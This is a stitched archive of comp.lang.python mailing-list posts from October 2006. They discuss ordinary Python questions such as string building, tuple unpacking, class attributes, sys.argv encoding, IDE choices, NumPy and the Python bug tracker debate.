dictionaries. > > > > 3. some_string = "cd "+working_dir+" ; "+ssh_cmd+ " > > "+str(some_count)+" "+some_param1+" "+some_param2 > > (all these are supposed to produce the same strings) > > > > Which methods do you know of \ prefer \ think is better because...? > > I will appreciate any opinions about the matter. > > :D > > I think, it would depend really on what your aims are (readable code, > fast string generation...), and how the vars you want to build the > string from are respresented in your code (is it natural to use a dict > etc..) > > I kicked off a conversation similar to this earlier today, and that was > my conclusion after helpful debate & advice. > > Matt. > > > This email is confidential and may be privileged. If you are not the intended recipient please notify the sender immediately and delete the email from your computer. > > You should not copy the email, use it for any purpose or disclose its contents to any other person. > Please note that any views or opinions presented in this email may be personal to the author and do not necessarily represent the views or opinions of Digica. > It is the responsibility of the recipient to check this email for the presence of viruses. Digica accepts no liability for any damage caused by any virus transmitted by this email. > > UK: Phoenix House, Colliers Way, Nottingham, NG8 6AT UK > Reception Tel: + 44 (0) 115 977 1177 > Support Centre: 0845 607 7070 > Fax: + 44 (0) 115 977 7000 > http://www.digica.com > > SOUTH AFRICA: Building 3, Parc du Cap, Mispel Road, Bellville, 7535, South Africa > Tel: + 27 (0) 21 957 4900 > Fax: + 27 (0) 21 948 3135 > http://www.digica.com Matt, Thanks for replying. I tried looking up your discussion and I'm unsure if I found the right post. Would you mind linking to it? -- Gal Diskin G__.D_____ at Intel.com G__.D_____ at gmail.com Work: +972-4-865-1637 Cell: +972-54-7594166 From gagsl-py at yahoo.com.ar Fri Oct 20 17:06:09 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Fri, 20 Oct 2006 18:06:09 -0300 Subject: why does this unpacking work In-Reply-To: <2la_g.134$1n3.3442@news.tufts.edu> References: <2la_g.134$1n3.3442@news.tufts.edu> Message-ID: <7.0.1.0.0.20061020174616.05b4da98@yahoo.com.ar> At Friday 20/10/2006 17:29, John Salerno wrote: >I was expecting 't' to be a two-tuple for it to work. Maybe writing it as: > >for (x,y) in t > >sort of helps to show that '(x,y)' is equivalent to one object in 't'. >That makes it look a little more cohesive in my mind, I guess, or helps >me to see it map out against 't' better. Note that it's the *comma* in an expression list what creates a tuple, *not* the parens. A similar rule applies on the target side of an assignment: x,y = (1,2) (x,y) = [1,2] [x,y] = 1,2 and all variations are all equivalent. The left part of a for statement is like an assignment. With this in mind, it's not surprise that for (x,y) in t: pass for x,y in t: pass are exactly the same. -- Gabriel Genellina Softlab SRL __________________________________________________ Correo Yahoo! Espacio para todos tus mensajes, antivirus y antispam ?gratis! ?Abr? tu cuenta ya! - http://correo.yahoo.com.ar From steve at holdenweb.com Tue Oct 24 23:45:51 2006 From: steve at holdenweb.com (Steve Holden) Date: Wed, 25 Oct 2006 04:45:51 +0100 Subject: Want to reduce steps of an operation with dictionaries In-Reply-To: <1161747175.606159.313510@i42g2000cwa.googlegroups.com> References: <1161736179.467075.307030@m73g2000cwd.googlegroups.com> <1161747175.606159.313510@i42g2000cwa.googlegroups.com> Message-ID: Carl Banks wrote: > Steve Holden wrote: > >>pretoriano_2001 at hotmail.com wrote: >> >>>Hello: >>>I have next dictionaries: >>>a={'a':0, 'b':1, 'c':2, 'd':3} >>>b={'a':0, 'c':1, 'd':2, 'e':3} >>>I want to put in a new dictionary named c all the keys that are in b >>>and re-sequence the values. The result I want is: >>>c={'a':0, 'c':1, 'd':2} >>>How can I do this with one line of instruction? >>> >> >>You can't. Dictionaries aren't ordered collections. >> >> >>>I attempted the next but the output is not the expected: >>>c=dict([(k,v) for v,k in enumerate(a) if b.has_key(k)]) >>>erroneously (for me) gets: >>>{'a': 0, 'c': 2, 'd': 3} >>> >>>Thanks for your help. >> >>In Python {'a':0, 'c':1, 'd':2} == {'a': 0, 'c': 2, 'd': 3} > > > Careful there, chief. The Python interpreter disagrees: > > >>>>{'a':0, 'c':1, 'd':2} == {'a': 0, 'c': 2, 'd': 3} > > False > > I inferred that by "re-sequencing", the OP meant the keys in the new > dict were to be associated with a new range of integer values (probably > specifically the key's index in a sorted list of keys). It was an > unfortunate choice of words, as sequencing has a pretty specific > meaning in Python. > > Thanks: my bad. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From toreriks at hotmail.com Fri Oct 20 09:50:32 2006 From: toreriks at hotmail.com (Tor Erik Soenvisen) Date: Fri, 20 Oct 2006 13:50:32 +0000 (UTC) Subject: FTP over SSL Message-ID: Hi, Anyone know about existing code supporting FTP over SSL? I guess pycurl http://pycurl.sourceforge.net/ could be used, but that requires knowledge of libcurl, which I haven't. regards From hanumizzle at gmail.com Tue Oct 10 05:53:25 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Tue, 10 Oct 2006 05:53:25 -0400 Subject: operator overloading + - / * = etc... In-Reply-To: References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com> Message-ID: <463ff4860610100253n1e8e53b8o65d1076b67c8c5b7@mail.gmail.com> On 9 Oct 2006 11:27:40 GMT, Antoon Pardon wrote: > I honestly don't see why "variable" would be an inappropiate word to use. > AFAIU, python assignment seems to behave much like lisp and smalltalk > and I never heard that those communities found the word "variable" > inappropiate to use. And since the word variable originally comes > from mathematics and IMHO the mathematical semantics are closer > to the lisp/smalltalk/python semantics than the C/algol/pascal/ada > semantics I don't see why "variable" is seen as "sloppy talk" Um, that's what I usually use anyway... :) -- Theerasak From steve at holdenweb.com Thu Oct 26 09:07:58 2006 From: steve at holdenweb.com (Steve Holden) Date: Thu, 26 Oct 2006 14:07:58 +0100 Subject: Handling emails In-Reply-To: <87mz7jgrma.fsf@benfinney.id.au> References: <200610262031.25448.fulvio@tm.net.my> <87mz7jgrma.fsf@benfinney.id.au> Message-ID: Ben Finney wrote: > Fulvio writes: > > >>*********************** >>Your mail has been scanned by InterScan MSS. >>*********************** > > > Please stop sending messages with obnoxious headers like this. > Please stop sending messages with obnoxious content like this. If you insist on telling someone off publicly via a newsgroup, once is enough. I agree it's a pain, but Fulvio may not have it in his power to switch the header off. Mail admins do some incredibly stupid things. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From fredrik at pythonware.com Thu Oct 12 01:59:35 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 12 Oct 2006 07:59:35 +0200 Subject: Experiences with Py2Exe In-Reply-To: <1160593412.770417.21010@i42g2000cwa.googlegroups.com> References: <1160574156.861514.327390@i42g2000cwa.googlegroups.com> <452cf765$1@news.vo.lu> <1160593412.770417.21010@i42g2000cwa.googlegroups.com> Message-ID: Isaac Rodriguez wrote: > I am asking this because I have a lot of experience using the Windows > Installer service, and I also have all the productivity tools available > to create an installer for my tools if I needed to just go ahead and use it. py2exe generates an EXE and (usually) a bunch of related files: http://www.py2exe.org/index.cgi/FAQ any tool that can wrap that up and install it on another machine works just fine. From jstroud at mbi.ucla.edu Sun Oct 1 01:54:08 2006 From: jstroud at mbi.ucla.edu (James Stroud) Date: Sun, 01 Oct 2006 05:54:08 GMT Subject: question about scope In-Reply-To: <451f52f1$0$1803$c3e8da3@news.astraweb.com> References: <451f2fa7$0$14757$c3e8da3@news.astraweb.com> <451f52f1$0$1803$c3e8da3@news.astraweb.com> Message-ID: <4KITg.18490$Ij.7035@newssvr14.news.prodigy.com> John Salerno wrote: > Steve Holden wrote: > >> The methods do indeed look in their enclosing class, but only for >> self-relative references. These are sought first in the instance, then >> in the instance's class, then in the instance's class's superclass, >> and so on up to the ultimate superclass. In other words, all attribute >> lookup uses the method resolution order ... > > > So what I did is correct? It does work, but why don't I have to define > the list as self.menu_items as well? This is because that list is an attribute of the class. Instances have a reference of this class attribute, but it can be replaced by an attribute of the instance with self (self is a reference to the instance and not the class. This example might help: py> class C(object): ... value = 42 ... def separate_from_pack(self, some_value): ... self.value = some_value ... py> C.value 42 py> c1 = C() py> c1.value 42 py> c2 = C() py> c2.value 42 py> c2.separate_from_pack(88) py> c2.value 88 py> C.value 42 py> c3 = C() py> c3.value 42 James -- James Stroud UCLA-DOE Institute for Genomics and Proteomics Box 951570 Los Angeles, CA 90095 http://www.jamesstroud.com/ From MonkeeSage at gmail.com Sun Oct 8 15:24:33 2006 From: MonkeeSage at gmail.com (MonkeeSage) Date: 8 Oct 2006 12:24:33 -0700 Subject: Can't get around "IndexError: list index out of range" In-Reply-To: References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com> <1160179043.266322.311940@i3g2000cwc.googlegroups.com> <1160198110.064741.133700@k70g2000cwa.googlegroups.com> <1160241982.216511.281950@m73g2000cwd.googlegroups.com> <1160262952.734016.306150@e3g2000cwe.googlegroups.com> <452846fe.0@entanet> <1160267115.309599.26160@e3g2000cwe.googlegroups.com> <1160269607.522241.311160@m73g2000cwd.googlegroups.com> <1160332330.684420.276560@e3g2000cwe.googlegroups.com> Message-ID: <1160335473.625244.261640@m7g2000cwm.googlegroups.com> On Oct 8, 1:44 pm, Fredrik Lundh wrote: > but "let's hypergeneralize and treat sequences and mappings as the same > thing" proposals are nothing new; a trip to the archives might be help- > ful. Huh? I don't want to treat sequences and mappings as the same thing. I'm talking about adding two similar convenience methods for sequences as already exist for mappings. That may make the two APIs closer, but that's not necessarily a bad thing (think the square-bracket accessor). Besides, has_index is sufficiently different already. If it's really a problem, change get() to at() for sequences. seq.at(2). So far the reasons offered against adding those convenience methods are: Reason: It's unnecessary / bloat. - Then the same thing is true of the dict methods. Reason: It's not useful. - I know of several use cases and could probably find others. Reason: It takes effort to implement it. Why don't you do it yourself if it's such a great idea! - Mabye I will. But that is only a reason why they aren't currently implemented, not why they *shouldn't* be. Reason: It makes sequences and mapping to much alike. - Then change the names for the sequences methods. That is to say, no good reason has been offered for why these methods shouldn't be implemented. Regards, Jordan From Leo.Kislov at gmail.com Mon Oct 23 17:02:39 2006 From: Leo.Kislov at gmail.com (Leo Kislov) Date: 23 Oct 2006 14:02:39 -0700 Subject: encoding of sys.argv ? References: <20061023130504.26823717@autremonde> Message-ID: <1161637359.051264.233140@m7g2000cwm.googlegroups.com> Jiba wrote: > Hi all, > > I am desperately searching for the encoding of sys.argv. > > I use a Linux box, with French UTF-8 locales and an UTF-8 filesystem. sys.getdefaultencoding() is "ascii" and sys.getfilesystemencoding() is "utf-8". However, sys.argv is neither in ASCII (since I can pass French accentuated character), nor in UTF-8. It seems to be encoded in "latin-1", but why ? Your system is misconfigured, complain to your distribution. On UNIX sys.getfilesystemencoding(), sys.stdin.encoding, sys.stdout.encoding, locale.getprefferedencoding and the encoding of the characters you type should be the same. From johnjsal at NOSPAMgmail.com Thu Oct 19 16:07:50 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Thu, 19 Oct 2006 20:07:50 GMT Subject: proper format for this database table Message-ID: Hi guys. I was wondering if someone could suggest some possible structures for an "Education" table in a database. It will contain at minimum university names, years of attendance, and degrees earned. My problem is that I don't know quite how to set this up for people who have attended multiple universities. I could do: university text DEFAULT NULL, yearStart integer DEFAULT NULL, yearEnd integer DEFAULT NULL, degreesEarned text DEFAULT NULL But this only allows for one university. (Also not sure if I should split up the years like that.) But mainly I'm looking for a way to construct this table so it can hold multiple universities, if necessary. Thanks. From heikki at osafoundation.org Fri Oct 13 20:33:35 2006 From: heikki at osafoundation.org (Heikki Toivonen) Date: Fri, 13 Oct 2006 17:33:35 -0700 Subject: wing ide vs. komodo? In-Reply-To: References: <2nRXg.108$1n3.2866@news.tufts.edu> <18SXg.27347$Go3.9933@dukeread05> <452ff5e4$0$1771$c3e8da3@news.astraweb.com> Message-ID: > "Eric is becoming an integral part of our Python development here at > Fluent. It's ability to set and trigger breakpoints in any thread is > unlike any other Python debugger we have tried. Through Eric's easy to > use interface and tight integration with PyQt, it has helped reduce > our debugging time, particularly on Windows platforms where it is used > heavily." > > --- Andrew Bushnell, Fluent Inc. I have found that both Komodo and Pydev can do this. Wing IDE does not (although you can debug any single thread). They are open to suggestions though, so if there is demand I am sure they would add it. Personally I have used Wing IDE, Komodo and Pydev. I think Wing IDE has the best debugging experience (for single threaded apps), and is the fastest. I really like the regex tool in Komodo, but eventually I more or less stopped using it. I am currently a Pydev user. I like Pydev because it is open source, cross platform, supports multi-threaded debugging, and simply because Eclipse provides so much stuff (although it is a pretty steep learning curve and it has its own annoyances). -- Heikki Toivonen From bj_666 at gmx.net Tue Oct 24 16:09:11 2006 From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch) Date: Tue, 24 Oct 2006 22:09:11 +0200 Subject: forcing a definition to be called on attribute change References: <453dec91$0$23269$426a34cc@news.free.fr> Message-ID: In , Rob Williscroft wrote: > Bruno Desthuilliers wrote in news:453dec91$0$23269$426a34cc at news.free.fr in > comp.lang.python: > >>> class cSphere() : >> >> OT : prefixing classes names with 'c' is totally unpythonic. > > My understanding of "pythonic" is that its about how you use the > language not what style you code in. > > [?] > > I guess we could claim that one-liners are unpythonic (because > indentation is a language feature), but claiming a all PEP 8 > violating styles are unpyhonic seems to me to be devaluing the > term. IMHO "pythonic" is about readability and sticking to a naming convention helps others to read your code. If something is called `Sphere` you know it's a class there's no need to tack a ``c`` in front. We've seen this just for the class name here but prefixing names with "type information" is "unpythonic" too, again IMHO, because this can get very misleading if you change the type. Then you have to change all occurrences of the name or end up with names like `lstObj` bound to a set object or something similar. Ciao, Marc 'BlackJack' Rintsch From bignose+hates-spam at benfinney.id.au Sun Oct 29 17:49:16 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Mon, 30 Oct 2006 09:49:16 +1100 Subject: Reverse function python? How to use? References: <1162149971.025963.144720@e64g2000cwd.googlegroups.com> Message-ID: <878xiybuvn.fsf@benfinney.id.au> "frankie_85" writes: > I made a little program which basically the a, b, c, d, e which I > have listed below and basically I want it th result to be printed > reverse so instead doing "print e, d, c, b, a", I'd like to use the > reverse function As was pointed out before, your assignment requires you to use a list. You're using completely distinct names instead of storing these sequences in a container. Read your course notes again, paying attention to "containers" and especially "lists". -- \ "For of those to whom much is given, much is required." -- | `\ John F. Kennedy | _o__) | Ben Finney From XX.XmcX at XX.XmclaveauX.com Sat Oct 28 07:42:26 2006 From: XX.XmcX at XX.XmclaveauX.com (MC) Date: Sat, 28 Oct 2006 13:42:26 +0200 Subject: subprocess decoding? Message-ID: Hi! On win-XP (french), when I read subprocess (stdout), I must use differents decoding (cp1252,cp850,cp437, or no decoding), depending of the "launch mode" of the same Python's script: - from command-line - from start+run - from icon - by Python-COM-server - etc. (.py & .pyw can also contribute) How to know, on the fly, the encoding used by subprocess? Thanks by advance -- @-salutations Michel Claveau From sturlamolden at yahoo.no Wed Oct 4 05:23:40 2006 From: sturlamolden at yahoo.no (sturlamolden) Date: 4 Oct 2006 02:23:40 -0700 Subject: switching to numpy and failing, a user story In-Reply-To: References: <1159940670.808128.312270@i3g2000cwc.googlegroups.com> Message-ID: <1159953820.785009.179540@i42g2000cwa.googlegroups.com> Travis E. Oliphant wrote: > Definitely not true. People in Singapore, Japan, Ghana, South Africa, > France, Germany, New Zealand, Australia, and many other countries are > using NumPy successfully. Gratefully, a few have contributed by buying > the book, but a lot more have downloaded and are successfully using it. >From the PayPal site for purchasing your book: "Select Payment Type: Don't have a PayPal account? You don't need an account. Pay securely using your credit card." I bought the book from Norway using my credit card, and received the pdf file soon afterwards. Obviously the book can be bought without a PayPal account or a us billing address. NumPy is the most versatile array type I have worked with, including those of Matlab and Fortran 95. In particular, the explosive memory use of Matlab is avoided. Keep up the good work! From m.elston at advantest-ard.com Thu Oct 19 13:05:36 2006 From: m.elston at advantest-ard.com (Mark Elston) Date: Thu, 19 Oct 2006 10:05:36 -0700 Subject: Komodo In-Reply-To: <1161272868.051706.228320@h48g2000cwc.googlegroups.com> References: <1161272868.051706.228320@h48g2000cwc.googlegroups.com> Message-ID: <12jfbr23dnmmpfa@corp.supernews.com> * SpreadTooThin wrote (on 10/19/2006 8:47 AM): > Why is it that (On MAC OS X) in Komodo 3.5 Professional, if I try to > find something in my script, > I am unable to change the text it is searching for? > Perhaps Emacs might work better ... :) Mark From fredrik at pythonware.com Mon Oct 9 10:15:35 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 9 Oct 2006 16:15:35 +0200 Subject: file system iteration References: Message-ID: "rick" wrote: >> Which application needs to walk over ALL files? Normally, you just have a >> starting path and walk over everything under it. > > Searching for a file by name. Scanning for viruses. Etc. There are lots > of legitimate reason to walk all paths from a central starting point, no??? what's the difference between a "starting path" and a "starting point" ? From ahmerhussain at gmail.com Thu Oct 12 19:37:57 2006 From: ahmerhussain at gmail.com (Ahmer) Date: 12 Oct 2006 16:37:57 -0700 Subject: Starting out. Message-ID: <1160696277.628987.277700@i42g2000cwa.googlegroups.com> Hi all! I am a 15 year old High School Sophomore. I would like to start programming in Python. In school, we are learning Java (5) and I like to use the Eclipse IDE, I also am learning PHP as well. What are some ways to get started (books, sites, etc.)? I am usually on linux, but I have a windows box and am planning on getting a mac. From raNOsky at deveSPAMler.com Wed Oct 4 13:27:36 2006 From: raNOsky at deveSPAMler.com (Giovanni Bajo) Date: Wed, 4 Oct 2006 19:27:36 +0200 Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> <2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net> Message-ID: Steve Holden wrote: > No, I'm not on the infrastructure list, but I know that capable people > *are*: and you know I am quite capable of donating my time to the > cause, when I have it to spare (and sometimes even when I don't). > > Perhaps what I *should* have written was "Sadly *many* people spend > too much time bitching and moaning about those that roll their > sleeves up, and not enough rolling their own sleeves up and pitching > in". > > Sniping from the sidelines is far easier than hard work towards a > goal. > > Kindly note that none of the above remarks apply to you. The current request is: "please, readers of python-dev, setup a team of 6-10 people to handle roundup or we'll go to a non-free software for bug tracking". This is something which I cannot cope with, and I'm *speaking* up against. Were the request lowered to something more reasonable, I'd be willing to *act*. I have to speak before acting, so that my acting can produce a result. And besides the only thing I'm really sniping the PSF against is about *ever* having thought of non-FLOSS software. This is something I *really* do not accept. You have not seen a mail from me with random moaning as "Trac is better", "Bugzilla is better", "why this was chosen". I do respect the fact that the PSF committee did a thorough and correct evaluation: I just disagree with their initial requirements (and I have not raised this point before because, believe me if you can, I really thought it was obvious and implicit). So, if your remarks apply to me, I think you are misrepresenting my mails and my goals. -- Giovanni Bajo From robert.kern at gmail.com Sat Oct 28 18:20:30 2006 From: robert.kern at gmail.com (Robert Kern) Date: Sat, 28 Oct 2006 17:20:30 -0500 Subject: latest numpy & scipy - incompatible ? In-Reply-To: References: Message-ID: robert wrote: > I'm using latest numpy & scipy. What is this problem ? : > >>>> import scipy.stats > RuntimeError: module compiled against version 1000002 of C-API but this version of numpy is 1000009 The scipy binary available on sourceforge has not been recompiled for numpy 1.0. All you need to do is recompile, though, and everything will work. -- Robert Kern "I have come to believe that the whole world is an enigma, a harmless enigma that is made terrible by our own mad attempt to interpret it as though it had an underlying truth." -- Umberto Eco From antoine at vo.lu Tue Oct 24 03:25:46 2006 From: antoine at vo.lu (Antoine De Groote) Date: Tue, 24 Oct 2006 09:25:46 +0200 Subject: can't open word document after string replacements Message-ID: <5e2e9$453dbff7$544abf75$9155@news.hispeed.ch> Hi there, I have a word document containing pictures and text. This documents holds several 'ABCDEF' strings which serve as a placeholder for names. Now I want to replace these occurences with names in a list (members). I open both input and output file in binary mode and do the transformation. However, I can't open the resulting file, Word just telling that there was an error. Does anybody what I am doing wrong? Oh, and is this approach pythonic anyway? (I have a strong Java background.) Regards, antoine import os members = somelist os.chdir(somefolder) doc = file('ttt.doc', 'rb') docout = file('ttt1.doc', 'wb') counter = 0 for line in doc: while line.find('ABCDEF') > -1: try: line = line.replace('ABCDEF', members[counter], 1) docout.write(line) counter += 1 except: docout.write(line.replace('ABCDEF', '', 1)) else: docout.write(line) doc.close() docout.close() From premiergeneration at yahoo.com Tue Oct 24 10:38:18 2006 From: premiergeneration at yahoo.com (Yogesh Chawla - PD) Date: Tue, 24 Oct 2006 07:38:18 -0700 (PDT) Subject: FTP over TLS Message-ID: <20061024143818.94047.qmail@web82712.mail.mud.yahoo.com> Hello All, The state of wisc. wrote a script to do FTP over TLS using pycurl. I can post this here, but first need to yank a bunch of password info out and get some security clearance. If someone is interested and wants to email me offline, please do so at this address. Cheers, Yogesh From jonas.esp at googlemail.com Sat Oct 28 09:17:22 2006 From: jonas.esp at googlemail.com (MindClass) Date: 28 Oct 2006 06:17:22 -0700 Subject: Reading standard input Message-ID: <1162041442.256614.275340@k70g2000cwa.googlegroups.com> The program shows a license text, then the user has to accept the license (or not). Is there another way to get text from console? (that using sys.stdin.read) foo = sys.stdin.read(3) if foo != 'yes' sys.exit(0) I also would to trap the KeyboardInterrupt for that doesn't show that message. How would it be possible? From steve at holdenweb.com Thu Oct 26 07:22:50 2006 From: steve at holdenweb.com (Steve Holden) Date: Thu, 26 Oct 2006 12:22:50 +0100 Subject: question about True values In-Reply-To: <1161860305.348329.283780@m73g2000cwd.googlegroups.com> References: <7x4ptsi544.fsf@ruckus.brouhaha.com> <1161803802.110116.127470@m7g2000cwm.googlegroups.com> <7xvem8gq22.fsf@ruckus.brouhaha.com> <1161804934.010376.151330@f16g2000cwb.googlegroups.com> <453FD3AF.4040800@v.loewis.de> <1161812827.596356.316450@f16g2000cwb.googlegroups.com> <1161860305.348329.283780@m73g2000cwd.googlegroups.com> Message-ID: John Coleman wrote: > Donn Cave wrote: > >>In article <1161812827.596356.316450 at f16g2000cwb.googlegroups.com>, >> "John Coleman" wrote: >> >> >>>Very good point, though one could argue perhaps that when one is >>>comparing an object with a truth value then one is implicitly asking >>>for the truth value of that object >> >>On the contrary -- since there is normally no need to ever >>compare an object with a truth value, then I would interpret >>this usage as an attempt to distinguish True or False from >>other objects in general. Some kind of placeholders for >>missing values, who knows. I'm not saying it's a great idea, >>but it could work in recent versions of Python. >> >> >>>This would make code like 'if s: ' equivalent >>>to 'if s == True:' with a possible gain in readability. But - as you >>>demonstrate the cost of that (minimal) gain in readability would be too >>>high. In any event - I think it is mostly bad style to use a >>>non-boolean variable in 'if s:' - it reminds me too much of obscure C >>>code (though others might disagree). >> >>Others will indeed disagree. I don't think you'll find >>much support for this position. But it's not as bad as >>your notion that "if s == True", where s is not a boolean >>object, might represent a gain in readability. That really >>redefines readability. >> >> Donn Cave, donn at u.washington.edu > > > As far as readability goes - most computer languages have a surface > syntax which is (by design) vaguely similiar to the syntax of a natural > language like English. Thus statements roughly correspond to sentences. > For example, you can see a subject-verb-object pattern in "x=3". Given > a genuinely boolean construct like x < 2, "if x < 2:" *sounds* right to > a human reader. Similarly, given a good boolean variable with a > descriptive name like "found", the fragment "if found:" sounds ok. But > - given a non-boolean variable like "product_name" - writing "if > product_name:" sounds (to my ears) a little jarring - it sounds like a > sentence fragment. It's like saying "If Bob" - If Bob *what*? Goes to > the store? answers the telephone? Finish the damn thought! Now, if you > were to (from some strange reason) use "product_name" as if it were a > truth value then (to my ears) it would both make your intentions more > clear and sound less fragmentary if you could say "if product_name == > True:". When you use "product_name" as the condition of an if statement > then in that context it is *functioning* as a truth value so (naively) > what could be wrong with comparing it to a truth value? I don't > advocate any change in Python here - just pointing out that the idea of > allowing "if s:" and "if s == True:" to be always equivalent in the > interest of readability isn't *that* strange. It doesn't constitute a > redefinition of readability. > Yes, but you're talking about *your* ears there. I was pointing out, as others have, that "if product_name" is such a deeply-ingrained Python idiom that you can use how natural it "sounds" to you as a measure of your progress in the language. > As far as using non-booleans as conditions - I just think that if you > want a certain block of code to be executed only if, for example, a > list is non-empty, why not *say* so? I think "if my_list != []:" just > reads better than "if my_list:". I would think that my preferences > there mesh with "Explicit is better than implicit" but apparently not. > Maybe so, but that "rule" (and let's not forget that the zen is not actually a set of prescriptive rules but rather guidelines for the informed) is immediately preceded by the most important "rule" of all: "Beautiful is better than ugly". Nobody will shout at you (well, hopefully, not on this list they won't) for writing if my_list != []: ... in your code, but if they have to incorporate it into their own they will almost certainly reduce it to if my_list: .... It's just idiomatic in Python, the same way that "'Sup?" is idiomatic in English (or what passes for it nowadays ;-) but grates on those who aren't used to hearing it. > I'm just starting out with Python with most of my programming in recent > years being in various dialects of Visual Basic (which probably > explains a lot). What attracts me to Python so far is the cool slice > operations, the iterators, the libraries and the convience of > programming in a REPL environment. So far, the ability to use "cat" as > a part-time substitute for True just strikes me as a curiousity - but > maybe that will change with time. > It probably will, but I wouldn't get too hung up on what's definitely a small point. Enjoy Python the way it is, and the way you are. You and Python will definitely come to an accommodation (and you will love the combination of discipline and freedom that it brings to programming style). Welcome to the language! regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From __peter__ at web.de Tue Oct 3 10:46:10 2006 From: __peter__ at web.de (Peter Otten) Date: Tue, 03 Oct 2006 16:46:10 +0200 Subject: excepthook doesn't give exact line number References: Message-ID: Hari Sekhon wrote: > The problem is that the excepthook gives the line of the topmost called > function rather that the actual line that generated the error the way > you get it with a normal traceback. A look into the traceback module shows that tracebacks are stored as a linked list. Here's a way to get hold of its tail: def tbiter(tb): while tb is not None: yield tb tb = tb.tb_next def last(items): for item in items: pass return item # example usage def myexcepthook(type, value, tb): tb_tail = last(tbiter(tb)) print tb_tail.tb_lineno Peter From jstroud at mbi.ucla.edu Mon Oct 2 15:53:57 2006 From: jstroud at mbi.ucla.edu (James Stroud) Date: Mon, 02 Oct 2006 19:53:57 GMT Subject: strange append In-Reply-To: References: Message-ID: E.Nurminski wrote (off the list): > the intention was to have > > newx = [1, 2] > res = [[1, 2]] > newx = [1, 3] > res = [[1, 2], [1, 3]] > newx = [1, 4] > res = [[1, 2], [1, 3], [1, 4]] > newx = [1, 5] > res = [[1, 2], [1, 3], [1, 4], [1, 5]] > newx = [1, 6] > res = [[1, 2], [1, 3], [1, 4], [1, 5], [1, 6]] This shows how valuable it is to post your expected results with your code. The way most experienced python programmers might do this is with list comprehension: res = [[1, i] for i in xrange(1,7)] For newer programmers, this might make more sense: res = [] for i in xrange(1,7): res.append([1,i]) James -- James Stroud UCLA-DOE Institute for Genomics and Proteomics Box 951570 Los Angeles, CA 90095 http://www.jamesstroud.com/ From msoulier at gmail.com Thu Oct 5 12:29:20 2006 From: msoulier at gmail.com (msoulier) Date: 5 Oct 2006 09:29:20 -0700 Subject: ANN: Tftpy 0.1 - Pure Python TFTP Library References: <1160011350.564729.315850@i3g2000cwc.googlegroups.com> Message-ID: <1160065760.803045.202880@i42g2000cwa.googlegroups.com> msoulier wrote: > Announcing new project, Tftpy, a Pure Python TFTP implementation. > > About Release 0.1: > ================== > > This is an initial release in the spirit of "release early, release > often". Currently the sample client works, supporting RFC 1350. The > server is not yet implemented, and RFC 2347 and 2348 support (variable > block sizes) is underway, planned for 0.2. Update on that, RFC 2347 and 2348 support wasn't difficult, so I just pushed out release 0.2. Enjoy, Mike From sferriol at imag.fr Mon Oct 23 04:48:52 2006 From: sferriol at imag.fr (Sylvain Ferriol) Date: Mon, 23 Oct 2006 10:48:52 +0200 Subject: is it a bug ? Message-ID: hello can you explain to me what happened: class toto(object): eq = float.__eq__ t = toto() getattr(t,'eq') TypeError: descriptor '__eq__' for 'float' objects doesn't apply to 'toto' object From steve at holdenweb.com Wed Oct 4 10:21:50 2006 From: steve at holdenweb.com (Steve Holden) Date: Wed, 04 Oct 2006 15:21:50 +0100 Subject: Python to use a non open source bug tracker? In-Reply-To: <1159968082.377851.205270@m73g2000cwd.googlegroups.com> References: <22pUg.132825$zy5.1820633@twister1.libero.it> <7xk63h232z.fsf@ruckus.brouhaha.com> <1159968082.377851.205270@m73g2000cwd.googlegroups.com> Message-ID: Paul Boddie wrote: > Giovanni Bajo wrote: > >>In fact, are you absolutely positive that you need so much effort to >>maintain an existing bugtracker installation? > > > I wonder what kinds of insights were sought from other open source > projects. It's not as if there aren't any big open source projects > having approachable community members willing to share their thoughts > on running open source (or any other kind of) issue tracking software. > KDE and GNOME don't use SourceForge and yet manage their own > infrastructure - has anyone asked them how they do it? > > Paul > Right, we could have asked Linus for advice ... regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From jmdeschamps at gmail.com Sun Oct 8 21:46:46 2006 From: jmdeschamps at gmail.com (jmdeschamps at gmail.com) Date: 8 Oct 2006 18:46:46 -0700 Subject: Dive Into Java? In-Reply-To: <1160346615.575882.133580@h48g2000cwc.googlegroups.com> References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com> Message-ID: <1160358406.445115.118440@e3g2000cwe.googlegroups.com> erikcw wrote: > DiveIntoPython.org was the first book I read on python, and I really > got a lot out of it. I need to start learning Java (to maintain a > project I've inherited), and was wondering if anyone knew of any > similar books for Java? > > Maybe once I know my way around the language, I can sneak Jython in... > :-) > > Thanks! > Erik Not exactly Dive into Java, but one amongst very great book on programming (and the one that pointed me to Python :-)) , really! ) - *Just Java* by Peter van der Linden, really great book! and fun to read, and bright, and this (apocryphical) citation (i don't have the book under hand just now, being on vacation ;-)): *...to the question 'Should I learn Java, C++, Perl?' (the answer is) 'Yes!' ...* and Python was included among several other OpenSource stuff on the CD. Jean-Marc From rogue_pedro at yahoo.com Fri Oct 20 03:01:58 2006 From: rogue_pedro at yahoo.com (Simon Forman) Date: 20 Oct 2006 00:01:58 -0700 Subject: invert or reverse a string... warning this is a rant References: 